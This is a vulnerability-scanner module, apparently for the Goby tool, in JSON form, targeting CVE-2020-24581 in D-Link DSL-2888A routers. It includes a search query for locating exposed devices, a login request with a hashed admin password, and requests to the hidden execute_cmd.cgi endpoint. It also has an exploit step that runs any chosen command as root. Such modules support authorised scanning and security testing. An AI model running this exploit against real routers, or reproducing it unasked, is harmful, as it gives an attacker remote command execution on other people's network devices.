Goby/json/D-Link-DSL-2888A-RCE-(CVE-2...

166 lines
4.2 KiB
JSON

{
"Name": "D-Link DSL-2888A RCE (CVE-2020-24581)",
"Description": "An issue was discovered on D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55. It contains an execute_cmd.cgi feature (that is not reachable via the web user interface) that lets an authenticated user execute Operating System commands.",
"Product": "D-Link DSL-2888A",
"Homepage": "https://www.dlink.com/en/products/dsl-2888a-dual-band-wireless-ac1600-gigabit-adsl2vdsl2-modem-router",
"DisclosureDate": "2020-12-22",
"Author": "itardc@163.com",
"FofaQuery": "\"DSL-2888A\" && server==\"uhttpd\"",
"GobyQuery": "",
"Level": "3",
"Impact": "",
"Recommendation": "",
"References": [
"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/",
"https://www.trustwave.com/en-us/resources/security-resources/security-advisories/",
"https://nvd.nist.gov/vuln/detail/CVE-2020-24581",
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24581"
],
"HasExp": true,
"ExpParams": [
{
"name": "cmd",
"type": "input",
"value": "id",
"show": ""
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"data": "",
"data_type": "text",
"follow_redirect": false,
"method": "GET",
"uri": "/page/login/login.html"
},
"ResponseTest": {
"checks": [
{
"bz": "",
"operation": "==",
"type": "item",
"value": "200",
"variable": "$code"
},
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "text/html",
"variable": "$head"
},
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "var ModelName=\"DSL-2888A\";",
"variable": "$body"
}
],
"operation": "AND",
"type": "group"
}
},
{
"Request": {
"data": "username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b",
"data_type": "text",
"follow_redirect": false,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"method": "POST",
"uri": "/"
},
"ResponseTest": {
"checks": [
{
"bz": "",
"operation": "==",
"type": "item",
"value": "302",
"variable": "$code"
},
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "/page/login/login_fail.html",
"variable": "$head"
}
],
"operation": "AND",
"type": "group"
}
},
{
"Request": {
"data": "",
"data_type": "text",
"follow_redirect": false,
"method": "GET",
"uri": "/cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=id"
},
"ResponseTest": {
"checks": [
{
"bz": "",
"operation": "==",
"type": "item",
"value": "200",
"variable": "$code"
},
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "text/html",
"variable": "$head"
},
{
"bz": "",
"operation": "contains",
"type": "item",
"value": "uid=0(admin) gid=0(admin)",
"variable": "$body"
}
],
"operation": "AND",
"type": "group"
}
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"data": "",
"data_type": "text",
"follow_redirect": false,
"method": "GET",
"uri": "/cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd={{{cmd}}}"
},
"SetVariable": [
"output|lastbody"
]
}
],
"Tags": ["rce"],
"CVEIDs": [
"CVE-2020-24581"
],
"CVSSScore": "8.0",
"AttackSurfaces": {
"Application": null,
"Support": null,
"Service": null,
"System": null,
"Hardware": ["D-Link-DSL-2888A"]
}
}